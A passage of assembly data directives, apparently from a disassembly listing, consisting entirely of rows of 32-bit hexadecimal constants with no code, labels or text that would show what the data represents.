		dd 0A503FCD6h, 0C53AFD09h, 7D68CED5h, 0EC611E37h, 7D0020A9h
		dd 5681B06Ah, 1D2F663Fh, 184A88DEh, 82702179h, 36FCB107h
		dd 0FB87EC3Ah, 0B0223965h, 0F88F3066h, 0BE463CE2h, 88243822h
		dd 7A006937h, 934C7EF8h, 9EA0A05Fh, 0C35A2877h,	0D79001ACh
		dd 56EF3A6Fh, 8DB9C028h, 42AC9E00h, 6DA53CAEh, 0CD7207FCh
		dd 80048938h, 0AA0CC48Ch, 6908F300h, 0E0A8BD68h, 876D0E2Ch
		dd 2401DB3h, 0CA061FE4h, 63016A04h, 0FBC015E8h,	9B9E78h
		dd 83DF2665h, 4FB29CC7h, 2DB50100h, 0E18A7731h,	0BDA800CDh
		dd 0B6534423h, 88001E4Ch, 350261FFh, 33DAE95h, 0D7A96DB0h
		dd 7BC87F5Fh, 1900DEEAh, 216FD81Ah, 3E7977CFh, 70037609h
		dd 0FE7E92D0h, 0B42D97D8h, 173CDA00h, 24BFC904h, 0B9CF02Bh
		dd 0F4090713h, 0E826BD00h, 75F0AF4Eh, 9A4AEA00h, 0CB82E2Ch
		dd 0A06FB892h, 0B9FFAAh, 415A8DD9h, 0C27C75CBh,	0E4011B00h
		dd 0B61EC18h, 36C60040h, 0BC3BA733h, 0AC1C3078h, 9E002F03h
		dd 0BF87F116h, 4C323F96h, 0C8593481h, 0D4AD93EAh, 7A3C9FFDh
		dd 0CF680E8Fh, 23920069h, 0A303DC1Eh, 43AE580h,	0D3D8FE07h
		dd 0A992C034h, 740C4053h, 94A58C2Eh, 0A09C3C6Bh, 0C4328E0h
		dd 82114520h, 447E50DEh, 0A3449D9Ch, 4E0D448Fh,	84945644h
		dd 42D49022h, 55B9119Bh, 117B6811h, 0A721D1CBh,	902B7508h
		dd 0C761849Ch, 8942D348h, 21302432h, 9F12C5F4h,	892D1110h
		dd 44330824h, 8888EBBCh, 4DD800D7h, 0DB64B8C8h,	0D000FF90h
		dd 6D8C6025h, 0D157EDh,	0A62BDFB2h, 0B0E1E40Fh,	9ABC400h
		dd 0D6E9F26Bh, 0AECF00B1h, 299F8624h, 0B9F6A575h, 0DF82E106h
		dd 589E38h, 0BA36309Ch,	37CF4AD9h, 0D3F1D800h, 0D1DBEA09h
		dd 48A0074Fh, 0F061C6C3h, 2DE37806h, 3EC05400h,	4E5321B7h
		dd 254C0075h, 0B80A0540h, 0C603CC50h, 4756D6BDh, 0D39FC030h
		dd 999C00C0h, 0AA5BA22Eh, 0B8772021h, 134038DFh, 0FD19B38Ch
		dd 17FF1207h, 611441CFh, 0E4B2B443h, 0EF019192h, 47B46C8h
		dd 7AE8D883h, 251A0702h, 0F09F4EF6h, 350B45FEh,	0E5ED4800h
		dd 0F162AD0Ah, 0BB903967h, 822300FAh, 0C74C1D7Bh, 7048C87Eh
		dd 81280044h, 38933DB1h, 0A58000FAh, 6B1DC9C0h,	9C005D04h
		dd 2EAE9ECEh, 5840B5h, 4920D54Ah, 9BDA9D28h, 0D0EA0800h
		dd 307DEC4h, 237B000Eh,	1EDB815Dh, 2860784Fh, 2FE00438h
		dd 1FFD76C5h, 9F2E4EEAh, 0AFDA40B7h, 0C2064AC3h, 6A5E2014h
		dd 8B3E00F9h, 1A05B827h, 0C4820013h, 45F92B3Dh,	6600311Ch
		dd 236484FFh, 601AB79Eh, 5158E08Eh, 0AD076944h,	6DAF0238h
		dd 0B362C280h, 50DB0187h, 0B84B65E3h, 64B820D7h, 29AB9A00h
		dd 78988CA4h, 0C3A3004Ch, 0A2619C41h, 740043B9h, 0C222FBC5h
		dd 5FC052E3h, 0A79AB0ACh, 711D0600h, 0B0A1FADDh, 55AA0441h
		dd 80E88F01h, 0BCFB1E2Ch, 65959E0Fh, 0D9CC60FCh, 700494B2h
		dd 5EBE3D11h, 4605AF83h, 3DD6CCFh, 7B08A4E0h, 94B935A0h
		dd 0A65F8000h, 0EEC5CF2Eh, 436302E5h, 3AEB0F01h, 286EE481h
		dd 5E1020BAh, 0E4006092h, 86828EC5h, 0BB1A3Eh, 75C051F3h
		dd 0E247F641h, 4AA88500h, 0CBAD2107h, 930F3FE8h, 5C1C9B00h
		dd 7386FAA6h, 0DA235517h, 4D543A00h, 7E11E4F5h,	77CF8D6h
		dd 4CEFD4F4h, 0A00FC0BFh, 1400B68Fh, 0BCBA9A50h, 3A67088h
		dd 0B73CB5EEh, 0E1D880D3h, 8900D0A7h, 91A807F6h, 1D7E386Eh
		dd 80856FF0h, 0EF343DFAh, 0BA90053Ch, 0E71C46E4h, 2940FEF8h
		dd 379626E8h, 626F010Bh, 1D366172h, 0DBB9D8BCh,	4B8F704h
		dd 0F3C06EB1h, 14787250h, 0ECD519FCh, 0A0AF4000h, 0BCC0D08Ch
		dd 0D0205E4Ch, 0DAC980C8h, 3CBDAE27h, 0AD809C17h, 3DD2743Ch
		dd 0D00C119h, 0AA0B0E9Fh, 14C86E08h, 0ECE3EDDDh, 17F76A04h
		dd 0CF28A4h, 68418EF5h,	0B65F38F6h, 0F8147074h,	3AE9142h
		dd 6FE409EBh, 7D04903Fh, 6D1E1250h, 48A841FDh, 0E0D60A1Ah
		dd 0D000F811h, 9B8523DAh, 147DECh, 0E9F5A524h, 5A6A5C02h
		dd 0E5552005h, 0CBC7A068h, 24A6E0A0h, 3B17688h,	8B3DA87Ah
		dd 8000F543h, 2098DBBEh, 1F03F2A5h, 800EAFC9h, 6A5DE32Bh
		dd 0CA7D8954h, 428C1900h, 0E1663C4Ah, 84AD0049h, 32166D7Ah
		dd 4F6AEF0h, 6F503900h,	0B4012703h, 3FC1004Ch, 0F23019ACh
		dd 2000415h, 50A49F38h,	7A266Eh, 0A256451h, 0FEB34341h
		dd 38748400h, 853BCE2Fh, 0C2A03024h, 0A55FE0A0h, 0EFBCA901h
		dd 564A57D7h, 6E79C840h, 300C1F48h, 3FD505B0h, 0EB2CC032h
		dd 0DA0093F4h, 0AD0D917Eh, 90E527B4h, 0BF9A0084h, 282C2F56h
		dd 58B7F717h, 8D370011h, 0CAF613FFh, 2101F4E5h,	4CF1F9BBh
		dd 0C040C41Ch, 0F2693Eh, 996F415Fh, 0AF6405DAh,	4F714Ch
		dd 363EFE92h, 9A7CBA14h, 0A3270090h, 0D480F262h, 3E12D901h
		dd 6F013783h, 0FE2E4AE2h, 17AC5D4h, 500FB332h, 0CC947710h
		dd 6C3BC918h, 0F8E326A3h, 7B5F1100h, 0C1A157h, 77DE234Eh
		dd 0C96B0335h, 1128F31Eh, 0B3BE5BC0h, 0EC73844h, 3E1752F4h
		dd 1CA9801Fh, 1F149DFCh, 80954C39h, 0DEBBD512h,	988CB7E9h
		dd 4D88005Ah, 645221A6h, 0F49ABEF4h, 60ABBB00h,	0B2826C93h
		dd 58C901D8h, 3646CBC2h, 0E6C3D0E8h, 19E9D3Dh, 8EBB743Dh
		dd 0E830029Bh, 0DFE40284h, 0A22C11Ah, 10A18C87h, 0D995AED0h
		dd 0AA464E00h, 0BE565F6Fh, 0E7B00390h, 520487E1h, 0FC77C9C1h
		dd 3002616h, 2885EB55h,	0E5EF10h, 9A0DD02h, 4DF9A53Dh
		dd 0E8505071h, 0E09216E8h, 2F943300h, 0F0E6BEA3h, 222B009Dh
		dd 0A96EFB5Eh, 0B7002A2Eh, 4FCBFDE1h, 0EB1D062h, 254A31CEh
		dd 5F9C5DFDh, 159140EBh, 3D8CE7B3h, 0FAF38h, 0C16908BFh
		dd 0A31857h, 0E6FE8291h, 3983A0C8h, 875CEE01h, 2AF4290Ah
		dd 0A796F8D7h, 73707208h, 5FE40Fh, 0AC2930F0h, 4EE750C7h
		dd 2CFAE958h, 0B4163508h, 23433C02h, 0A82CC0AEh, 1E360044h
		dd 58BA27A9h, 300904Fh,	0DF53B26Ch, 0B3ABFAh, 49BCCEC0h
		dd 45F5E53Dh, 21313Bh, 2A0B9816h, 482CC4ECh, 0A33B0D25h
		dd 0EBB6D101h, 0E466B1AFh, 8B009150h, 93554A45h, 0ED62BB3h
		dd 16D146A0h, 103079C3h, 6980568Bh, 0E8004CD7h,	9E5B820Ch
		dd 4EA9511h, 0A83FC074h, 0D88488C2h, 1D5E073Fh,	0B2801970h
		dd 276011CFh, 0BAA007Ah, 0A39FBCC8h, 38001A1Fh,	5A087F10h
		dd 0D41629h, 4C49CF39h,	2EE55BB3h, 0EB19CA05h, 0A8C0D1A4h
		dd 18400564h, 5CBD34EDh, 0E03C4C25h, 0B3BF800Ah, 0DD4F1879h
		dd 1020987Eh, 752567B0h, 50272B32h, 61F7E0E0h, 0F664058Bh
		dd 771A89h, 9A9DCBC9h, 0D498EB01h, 5F533600h, 803DE727h
		dd 7F57008h, 519F5CDCh
		dd 0F2BB80E4h, 0D478370Bh, 191A5800h, 126FE3C7h, 0E7DE0066h
		dd 0A285E14Bh, 0B749E50Ah, 3BB87648h, 585C4000h, 97B150A1h
		dd 0F427002Eh, 1C5FA6EFh, 111D4495h, 7C80C9EAh,	0E5DBB1ACh
		dd 225924CEh, 9E00E42h,	62141720h, 0BF245E21h, 600A488h
		dd 60CC2A6Ah, 9B6E03A5h, 521CA366h, 70B7CEF8h, 7D1F5A00h
		dd 0D57E410Bh, 94A186Bh, 23C76499h, 0B0A0CAECh,	0AF584B0Bh
		dd 9AC81F80h, 9C3CBC80h, 1C16FDh, 151FB0B9h, 6FA47502h
		dd 0C3F3BCA0h, 991BBE00h, 9D13E1E5h, 81B000FBh,	61912026h
		dd 5D00F84Eh, 6D33992h,	9072AFBBh, 5EF107ACh, 8082A49Ah
		dd 0FAAE8C85h, 37232D00h, 3E36AB13h, 487A072Eh,	0A4A5510Fh
		dd 986D86C2h, 0B3339C05h, 1CC0A9D1h, 757B84BFh,	0E9C4018Bh
		dd 2DFB9879h, 7845608Dh, 80C9CB39h, 0CF082F74h,	0CACED9h
		dd 0BF0BE5E9h, 0C46BB435h, 0DFF70914h, 0FA4609F8h, 0FBE4489Bh
		dd 0D7C81F9Fh, 0EE124051h, 0D547D4Ch, 0A07E3607h, 7B20E569h
		dd 4E81A7Ah, 0F99773ACh, 9F848130h, 300DE1C5h, 3A00A578h
		dd 4581D83h, 77740CE7h,	71BA044Ah, 81A78EB7h, 24A33907h
		dd 5F00816Ch, 6780AE4Ah, 35CB20h, 0ACE4C813h, 96959B88h
		dd 0B49EC0F5h, 7F13306h, 388AB0h, 5923CD4Bh, 5450E027h
		dd 8839D60Ah, 140398CBh, 0D89A3B49h, 0A2DF40h, 3253510Bh
		dd 69F0170Ch, 55656E0Fh, 9A40BECCh, 0A71C9048h,	96B5003Eh
		dd 4D814476h, 0FE2811AAh, 732AE271h, 0EE1298B9h, 7CD832EBh
		dd 1F510171h, 8C6654DCh, 0F33BF4C8h, 62BD7E1Fh,	618ACBh
		dd 2C5B8720h, 0C8FE0B43h, 6CA06644h, 0B1DEE231h, 695C9001h
		dd 0B9DA9423h, 8069F547h, 0F13154D0h, 27C8007Dh, 0DA67A373h
		dd 665C5082h, 0C0510B4Dh, 0DC80988Ah, 46F3304Dh, 0FF03BB08h
		dd 65130B00h, 3330DE01h, 49A10055h, 0CD797F3Ah,	0D2006A62h
		dd 9C516147h, 1968C5Ch,	0CE787087h, 0F885E2ACh,	0FC24557Dh
		dd 0E60EE472h, 6843A3C4h, 0E95D06Ch, 2BBA00ADh,	84B29320h
		dd 0C000A921h, 78384655h, 1EDD9858h, 84A0F03Ah,	0AB0D2B2Fh
		dd 4A53E880h, 0B954099Ch, 0E400C284h, 83EFDE02h, 0BCB8B17Ah
		dd 79A09117h, 0D8124A00h, 0BA2FEFFh, 29AB7243h,	0CDB9FC80h
		dd 3C040588h, 10376C34h, 75E23C87h, 0E7A1E0BFh,	105090D1h
		dd 34D65Ah, 0ED618FBAh,	33927828h, 0AF18F952h, 20D2FEE9h
		dd 0B7006628h, 0B096C2A1h, 58E2708Eh, 6E0C2F5Dh, 377950FDh
		dd 2C0470B5h, 9FA0DBE9h, 11A9409Ch, 4E161F2Dh, 9319121Ch
		dd 4F6BC7C0h, 90E4186Fh, 0DE3E00AAh, 0DB4871BCh, 447EB273h
		dd 0D3023AE6h, 46638D0Bh, 60644078h, 744510E3h,	37A800F8h
		dd 9B65EDB8h, 2F2603C4h, 7DC5AF5Fh, 0F8044DD0h,	0FE913101h
		dd 0CDEF4446h, 324E6E4h, 0D125AAACh, 2F98757Eh,	1002C203h
		dd 0EB15D086h, 0BFA20001h, 38EA3D8h, 981F3A0Dh,	5EA0632Fh
		dd 3300DCE6h, 348D3C97h, 0F072D2C8h, 276213BEh,	0B4C4C07Eh
		dd 0E5003A2Ch, 0F3DD065Fh, 0B04F4266h, 9D3D2EFAh, 28971B79h
		dd 0BAACFCA0h, 0E1D3D202h, 6874C6CDh, 513418h, 0C4FA95DCh
		dd 413EDAD6h, 54FC352Eh, 0B0EAD10Ch, 13E00066h,	593928B3h
		dd 922C87A0h, 908074AFh, 84D79ED8h, 0FA80E008h,	2DB800C2h
		dd 50C94096h, 0E93EDD73h, 0E84B01C7h, 0ED21A383h, 108C070h
		dd 0E1BA5A4Eh, 20738515h, 70EC56BCh, 97F81E00h,	0F4C6D017h
		dd 0BD7C0080h, 57E74481h, 14F0EE69h, 7115D4Ch, 0F3B5C0C8h
		dd 6A535AE1h, 98015068h, 0B42C32F4h, 1393FF24h,	1ED3758Bh
		dd 0E41A04C0h, 0AEEE47E4h, 801DB03Ah, 5A2D97BAh, 6B5632h
		dd 0DD646D3Ch, 0BE415486h, 212CCDE6h, 0BA00E4F9h, 0F5CF3595h
		dd 8C895932h, 7C666502h, 5460CD78h, 5E00AE4Fh, 0C9BE4CE3h
		dd 76175CBFh, 0F2DE1607h, 65BA0743h, 60334174h,	0FDF6ECB5h
		dd 58416A26h, 0EC42EC0Ah, 5D483983h, 54C7946Ch,	0BC822095h
		dd 684402Dh, 0CF4F05Ah,	963A22CCh, 5E24E430h, 0A180945Bh
		dd 16CD8418h, 0EDF08873h, 0E3DD2600h, 1ADC8303h, 0E970E75Ah
		dd 524007Eh, 7CBC9CDBh,	3E006C46h, 9BED3A94h, 5D4EF37h
		dd 7AE7A644h, 45C44A39h, 0E4C42084h, 0BB8326B3h, 0ECD58194h
		dd 301D9F38h, 5E09826Ch, 319844Eh, 898DEBACh, 400B298h
		dd 0CA000CF9h, 11F87044h, 1C2383EDh, 4139E2h, 2555DE8Fh
		dd 0DC00D2BCh, 4F602743h, 4456FD7h, 91B466C1h, 0D0C4D77Dh
		dd 69A1EC04h, 3E5420E1h, 10615B2Ch, 0C8E7D053h,	31F700CAh
		dd 1855696Dh, 6800E9D9h, 0FE3A8EFDh, 2D788CFh, 8CF0D2F4h
		dd 0A4812F22h, 301E4F1Dh, 0D0A8E19Eh, 0D600C3F8h, 0A15590Ch
		dd 0A0134A7h, 20E7E242h, 930585DCh, 0D80A0C2h, 2A9EF30Eh
		dd 0C723240Fh, 0FBEE74C0h, 50B200CBh, 6810A124h, 7E0040C6h
		dd 0E2761442h, 486B2Fh,	91613771h, 7AADE73h, 0A0D8FC24h
		dd 43039A0Bh, 483C70F0h, 0DD89188Dh, 0B2CAF46Bh, 1A00D070h
		dd 0C19A86ACh, 3878ECh,	90D853F8h, 81648E3Ah, 5E400C9Ch
		dd 88DF66h, 0F950E57Eh,	0FAD5DC0h, 308D44Ch, 28A41882h
		dd 78CFD16Ah, 16D696E8h, 9D7566h, 0FDF24020h, 4700200Dh
		dd 0FA214127h, 0A1018Dh, 6D50FF6h, 700562C5h, 963E6300h
		dd 0B33C3D4Dh, 0C592630h, 0E2C10000h, 62AF7340h, 0EED9811Dh
		dd 7C0AA60Fh, 87084900h, 0B68863h, 36343F25h, 0A0EB9058h
		dd 0E001B73h, 0C95DE452h, 0B0DED148h, 90C30010h, 0C204C030h
		dd 28020791h, 0AD46E503h, 0E1FF429Ch, 68F43838h, 28F504BEh
		dd 0E07FF6B4h, 0FD009004h, 0C1C7D3FEh, 0FC1BE081h, 74543BFFh
		dd 195AF302h, 4050229Bh, 120C65Ch, 0E6DACF75h, 44200295h
		dd 0AE0F2052h, 31936000h, 3599073Ah, 0F6D7B39h,	76AB9B56h
		dd 0C0B545A0h, 9F00A11Eh, 0D8B423F8h, 94DD3E87h, 911700h
		dd 0A06F2168h, 0D3028D32h, 0ADAB1D4h, 5F484040h, 9279h
		dd 34E6BFC6h, 46E9D539h, 0F56CCCA0h, 0A40FAA00h, 8710401Bh
		dd 83689049h, 0E1E6A19Bh, 1D4850D0h, 411DAC32h,	0CF409F8Bh
		dd 0C4532123h, 3860815Dh, 0D9B7DE60h, 8A973994h, 0B24DC400h
		dd 4203A013h, 6F7D0A0Fh, 68882BDBh, 0F4764314h,	3BE50056h
		dd 81AD83F4h, 5AF0ED2Fh, 0B64E6600h, 0D3E1E701h, 9C65039Dh
		dd 0C9F3B492h, 0DF2777B8h, 2209D900h, 114172C6h, 903E0644h
		dd 39E90F2Bh, 0BD780C00h, 12C4A361h, 0F6D20069h, 0E308519Bh
		dd 9A01B01Bh, 0ABE9100Eh, 0B6C448C4h, 6C230090h, 34B4F9EDh
		dd 0CF00C5A4h, 0EF21E972h, 651637h, 9A50758h, 223DBBF1h
		dd 20B3D100h, 5DF7CDA3h, 54990079h, 90AF65B5h, 3FFE7DCCh
		dd 53F31E1Eh, 1B19C49h,	0D2C9C2FEh, 0C4B95F4h, 0E2D1D538h
		dd 3A074510h, 667C5464h, 6A42C9E0h, 0C6B500CBh,	947861AAh
		dd 0E6777FAFh, 0C9F8AD1Eh, 48C2ECC7h, 8C368200h, 0D242127Dh
		dd 0FFD000DFh, 33383CE8h, 850B13FCh, 1DB93Bh, 0F28493B9h
		dd 598C0015h, 0F661F89Bh, 0C70056E9h, 2526DAFh,	5EC667h
		dd 58376B2Dh, 22A4669Eh, 7194CB00h, 0C27CC508h,	2C810053h
		dd 0B0E28919h, 5F004D3Bh, 6885C98Ah, 0F29938A0h, 0EC1D0162h
		dd 5B7AB122h, 0C68CDC1Ch, 0A5344816h, 7746391Fh, 0E040E361h
		dd 2D7D059Bh, 0AF3FB8F1h, 4E6ACE03h, 0CBD7D829h, 92C21883h
		dd 1CDD9030h, 65572F03h, 0D82E0805h, 2C69EBh, 7A114ECEh
		dd 48595A2h, 2FFD1400h,	3B23936h, 0C86800F2h, 6A98EC10h
		dd 24001B5Eh, 0FCE00815h
		dd 0F45518h, 7693CBAh, 0BD7E91D9h, 0F2AA9600h, 92C9A797h
		dd 219F0099h, 29DA7467h, 9B00C6B1h, 7FA6BBA9h, 3F832369h
		dd 143EC031h, 0AD535900h, 0E282BD9Eh, 0D4FF0600h, 0D94DB23Ah
		dd 972C003Dh, 738FA938h, 0A41FAD9Dh, 0E08F50C2h, 7EB8015Ch
		dd 89C0E48Dh, 0A02D003Ah, 1C583196h, 6B004197h,	0D26DF1ACh
		dd 0A9AE44h, 6DC8424h, 0EB987A2Bh, 4CD19E00h, 0CD86588h
		dd 0B31C0FECh, 0CF07F4CCh, 98A320FFh, 1E7869D1h, 86291300h
		dd 0B5E1C397h, 5720014Fh, 16AF71EDh, 0F656ECF0h, 0C0F2A700h
		dd 96884C4h, 500491BDh,	6B007D05h, 3037474Fh, 3B977CE7h
		dd 0A280AA65h, 3D452569h, 7912EE9Ch, 0FB05AF9Bh, 0EC4049E0h
		dd 0FE7A1927h, 3F0FAC5h, 2FDE5B8Bh, 0CE901FC0h,	0B4028514h
		dd 9529B38Eh, 334253h, 0FA72FCECh, 7E8B0021h, 6310F920h
		dd 6700C5ADh, 81062773h, 0CD3CFFh, 9CE857B4h, 682271C6h
		dd 89A6E400h, 32EE0716h, 12EF3F8Ch, 66E9B40Eh, 16180BEh
		dd 202878DEh, 7E5AA00h,	5995CE0Dh, 156800C0h, 1AD8071h
		dd 56003C92h, 0C2250747h, 28FDE5h, 4291BD73h, 7B35DCF6h
		dd 3798BC7Ch, 61A2840Eh, 5B41405Dh, 0E7623Dh, 66F703E0h
		dd 47CAB3D5h, 0F4DE5F05h, 0FC00AEBDh, 0F81F6D91h, 60340E64h
		dd 17A0F3A0h, 72CCDB30h, 67428F00h, 93820A2Dh, 0C31D0275h
		dd 0FDB6E728h, 0F880FD43h, 9400A865h, 1AC52654h, 0F22C9Ch
		dd 0D54E01EBh, 3A10987Bh, 0B806602h, 0C081B8FEh, 0E4A4BAh
		dd 1E36172Fh, 2D4316C1h, 0E6D76A00h, 0B17E61EFh, 0A8DEC7Bh
		dd 4C6B6993h, 0D63002C4h, 0D8A0C433h, 42740FE7h, 79B56C07h
		dd 72108C41h, 5253C6h, 20A701DDh, 45E4B743h, 0F35F1B1Eh
		dd 0C28D0FBBh, 7175E05Bh, 23D8196h, 49E6013h, 3840617Ah
		dd 0A002AE59h, 0CDBFD7E4h, 908FF786h, 0F0640012h, 1D924BF3h
		dd 0D267C107h, 0B4807261h, 1B6FD3h, 0D751ED22h,	0CFA6FBD0h
		dd 1DFCE63Ah, 23491AE7h, 1DB28064h, 716C7F93h, 85C600ECh
		dd 1B79330Bh, 0D2046F14h, 9BDA36F9h, 9D60C897h,	0E0EEECh
		dd 0AF909A92h, 4BE21371h, 0C187201h, 0BB265C42h, 4A0AE8h
		dd 35F58D1h, 750644BEh,	5D4EC70Ah, 1A07086Dh, 0C2006A20h
		dd 0F4812E8h, 0B03A193Ch, 3371B28Ch, 0DB004D7Bh, 420AA8Dh
		dd 140952h, 0BECE4A4Ch,	58969E64h, 0E9F05E7Ch, 0FE117667h
		dd 0DAC97080h, 5DBE0054h, 80C8EC32h, 4E001411h,	503081E8h
		dd 0F4995F5Ah, 221900B7h, 31870901h, 0C7283B38h, 9D0CD095h
		dd 50445A7Fh, 6EFC0019h, 63F46957h, 0DE007A89h,	3DAA4DC9h
		dd 0B05A0F43h, 0AE4200CEh, 94027174h, 5500DD0Ah, 0B227BDC1h
		dd 364C2C45h, 0A848137Fh, 3500317Eh, 0F008CD59h, 80555Eh
		dd 0A8899D94h, 6B3201AFh, 0D050F500h, 0C4162CCBh, 61E0F796h
		dd 1420007Bh, 8AB6F021h, 9E00591Fh, 1CFA073Ch, 0DA3D03h
		dd 627374BCh, 0D82D6985h, 0DF805602h, 829418C1h, 605D9AACh
		dd 423F89h, 3DABB5ACh, 0ACFFE20h, 2EDEF607h, 0A2B03957h
		dd 77648C53h, 0E46A0B4Dh, 2F00EC75h, 0CF806C55h, 0EA943Ch
		dd 2EDDAE0Bh, 30C2A9h, 0FEAAFFA4h, 8AA0581Ah, 79B5F226h
		dd 20E4803Eh, 2934173Dh, 0BDD300B3h, 0D6046158h, 1900E05Eh
		dd 8409F24Eh, 9B3473h, 6B938F24h, 3C47AA86h, 70E1251Eh
		dd 510D7480h, 4985D272h, 9E2B14B1h, 887C7E04h, 5FBBD623h
		dd 940552E0h, 59290598h, 38BAA442h, 5A304118h, 5B4010C6h
		dd 6E94002Fh, 23782CB1h, 0DD71F3D7h, 41C5C21Dh,	0B046DE47h
		dd 2135C853h, 6F081829h, 62399DDFh, 2203F922h, 55107BD4h
		dd 7521C351h, 4201A23Ch, 524476C0h, 15DC4411h, 445C0644h
		dd 28A1217Ah, 5F14410Dh, 8F081238h, 90650828h, 37908429h
		dd 814044Ah, 0E594476Ah, 0A0DE3F50h, 0A810EFADh, 8700174Dh
		dd 36C9A2AEh, 1D1A379Fh, 40A334B9h, 0E349B105h,	3300E692h
		dd 0B20667C7h, 28DBC5FBh, 0B008CED9h, 0D3EF1FC7h, 0F59F94h
		dd 7D89A21Ah, 50004514h, 54D92B25h, 0D88B63h, 2EADC168h
		dd 8683550Bh, 8EFDDC03h, 0E8B31589h, 0FA1B4Bh, 6C28339Ch
		dd 4F324031h, 0C766A700h, 3C41A278h, 98F17529h,	9DDB1237h
		dd 0A80040A4h, 3812322Ch, 0AB7E53Bh, 80E7C502h,	58217600h
		dd 7C5BBFh, 0F88A2B9Bh,	0FD5565F7h, 9F1B9701h, 0C3D140DDh
		dd 0EFC75887h, 31E10348h, 8D751000h, 76713CD2h,	0C8400326h
		dd 4AA7BD45h, 99D348D8h, 3726203h, 12BFC14Dh, 408674A8h
		dd 5044E554h, 1800EF29h, 98F5DDA1h, 770EBE2Bh, 0A9376096h
		dd 5CE9E379h, 95040801h, 559FA681h, 7A12C4h, 0DB5186EFh
		dd 9BF4022Dh, 96605D07h, 21A088BFh, 47D3C9h, 548AD411h
		dd 7D387549h, 53588E00h, 0DDEA3419h, 0A5953E31h, 6B16BA00h
		dd 0F6CACEAEh, 0D1190E0Eh, 92A760BDh, 0A4E995h,	80EFCF6Fh
		dd 0F69B7599h, 0BC91A300h, 6465BA04h, 0C40300BFh, 99A2FDEAh
		dd 73008F49h, 0F8591F2h, 0FEA463h, 770A9BAh, 0C5967CDBh
		dd 692EE800h, 3DC8BCA2h, 70D4A062h, 0DF910085h,	5F1005E7h
		dd 0A3008E68h, 9E0AEDD1h, 605A5Ch, 0AB3F2B1Dh, 9A3D8C34h
		dd 245D620Ah, 5B800831h, 0BC9D06CAh, 0D4ED2443h, 0B5B10038h
		dd 3025448Dh, 0A9C6BF1Dh, 0FD2A3280h, 0B7D615h,	117F17ABh
		dd 31225D04h, 1DD78D00h, 0F90F02A0h, 0CF1500F7h, 0DED242Ch
		dd 110F55ADh, 808EDBCDh, 0D518C559h, 890C4h, 0EDCF3EA3h
		dd 3FB4EF3Bh, 0D1B72106h, 2421F7CDh, 3648CC8h, 88F5228Ah
		dd 0F90019A6h, 0EF2156BFh, 4B63Dh, 0FE1BA4FDh, 770AD2CBh
		dd 0AC6BDF00h, 331497B8h, 7336245Ch, 4E4B016Ch,	0E465AA41h
		dd 0D20EE1ACh, 0F8AE1Ah, 0AFB91088h, 222F00FCh,	0A41464C7h
		dd 0FB030787h, 7566CD95h, 3BB29085h, 0CF4503A5h, 98BA1549h
		dd 9F5E2800h, 7CF6ECAEh, 74E900B3h, 690D0484h, 0F8C712DBh
		dd 0C1007F8Dh, 0AA4529h, 0B092E527h, 0FE5795F4h, 84CC511Eh
		dd 26BD1C80h, 2F4744A4h, 9A56CF49h, 0D62A2B00h,	7D3FD87h
		dd 0A89265B0h, 8BC1D0CAh, 2909A412h, 80D5E6E0h,	0C6FB9BD8h
		dd 50A60761h, 0D010FE6Fh, 7DD867F4h, 0EF84100h,	7E75F22Ch
		dd 65053B19h, 0E587FE00h, 5D167003h, 7F00EA73h,	669A4CD7h
		dd 6808B3h, 3BCFAC99h, 9DEF8D8Eh, 61D66300h, 47902B35h
		dd 56E71475h, 0E900C814h, 2FE5596Ah, 7000EB82h,	4376EEC5h
		dd 0D36225h, 0A556E9A9h, 5F0F93DAh, 58EBBE03h, 0C97F755Eh
		dd 2DD4A7C1h, 134FECCh,	57AE6A67h, 0DC87FC56h, 0A200F0D2h
		dd 79393590h, 277B0295h, 72544EB2h, 330F3A04h, 533B30C0h
		dd 0B60402E4h, 0A80F3C4h, 0BDF26CC8h, 76D2E61Ch, 3C03A9DEh
		dd 0C046094Bh, 869C06h,	683215CFh, 0BBDCEE7Ah, 26060376h
		dd 0FDBCEB0Fh, 398A0020h, 6BFC1C40h, 0B826945Dh, 0D6040FAEh
		dd 0D280455Fh, 1698BDh,	1D157F2Ch, 61517079h, 4159B8C0h
		dd 4D6A32h, 878BD25Bh, 0F28C2AA9h, 0F6E77A00h, 0A8E0CF81h
		dd 0DEF466h, 0EACD5130h, 0CCB97EA1h, 64908F77h,	0A4A53228h
		dd 5030CE60h, 59A1165Ch, 0EE3EDCF7h, 69D4FB03h,	80975BC2h
		dd 0A61790C0h, 11507101h, 21F76E56h, 81BA8844h,	0E04E616Dh
		dd 4A028D5Bh, 37FD9F96h, 57684029h, 8BD52AC0h, 0D38700F0h
		dd 551FF3Ch, 1501C406h,	7E3A62E6h, 0AEC09FE3h, 0B7E100DAh
		dd 0CF978B55h, 407642Dh, 548EC609h, 1ED0A690h, 5D313B9Ch
		dd 8956DB80h, 0C2233E6Dh
		dd 6722EB0Fh, 0CF0180B3h, 384A396h, 0A6702819h,	0AEA8A978h
		dd 5601B9ACh, 7ED9EDFFh, 4821FC91h, 0C3D4FDCh, 0B0033746h
		dd 49EA97A8h, 0E7F0A4EAh, 0FBC9E500h, 0F6B9B3F2h, 0BEF0070Ch
		dd 0BB15B286h, 0A7B3800h, 0D100BA6Dh, 8CF1F6D6h, 5802C684h
		dd 4200104Dh, 8597C294h, 2BFE2431h, 41E0B500h, 5F4E9BEAh
		dd 0B00Dh, 0CB991E2Fh, 0EE2269DEh, 97F71A0Ah, 7E05C8B8h
		dd 9C80070Ah, 9ACF06h, 0BF1D0C7Fh, 60A11CC9h, 2BFDE500h
		dd 5BC8AF51h, 0F30E07FEh, 3090572Dh, 0B3CE3DCDh, 529B9200h
		dd 508DEE01h, 13AEA17h,	8F6D144Fh, 8368D5FFh, 7A259F8h
		dd 0FBDDD0B6h, 0FC620053h, 63E47685h, 0F8004BB2h, 68071F3Ch
		dd 3070EC2Fh, 0F63893E2h, 66004326h, 0A91565A0h, 0E44173h
		dd 39D1CFD3h, 4FD2C608h, 0ACA1C1Ch, 157C4700h, 0C4AA2Ah
		dd 35955BD6h, 84433D61h, 0CEED4507h, 1700A32Eh,	88ADB9h
		dd 0A5F9210Dh, 0D0FA5A2Fh, 7F778600h, 10075803h, 1EC014E3h
		dd 7E00F0A8h, 0F9BDFA3Ah, 2F003769h, 0B406373h,	1CAC8203h
		dd 0C0722A2Dh, 3C23E9D3h, 20E5BD66h, 459F0BCh, 84642C7Ch
		dd 51120F80h, 1F8B6Eh, 9BE1D92Dh, 0AF2ABFAAh, 15D20C02h
		dd 0C2A3DD35h, 0DB080070h, 0B0A8749h, 816CC00Dh, 908F8009h
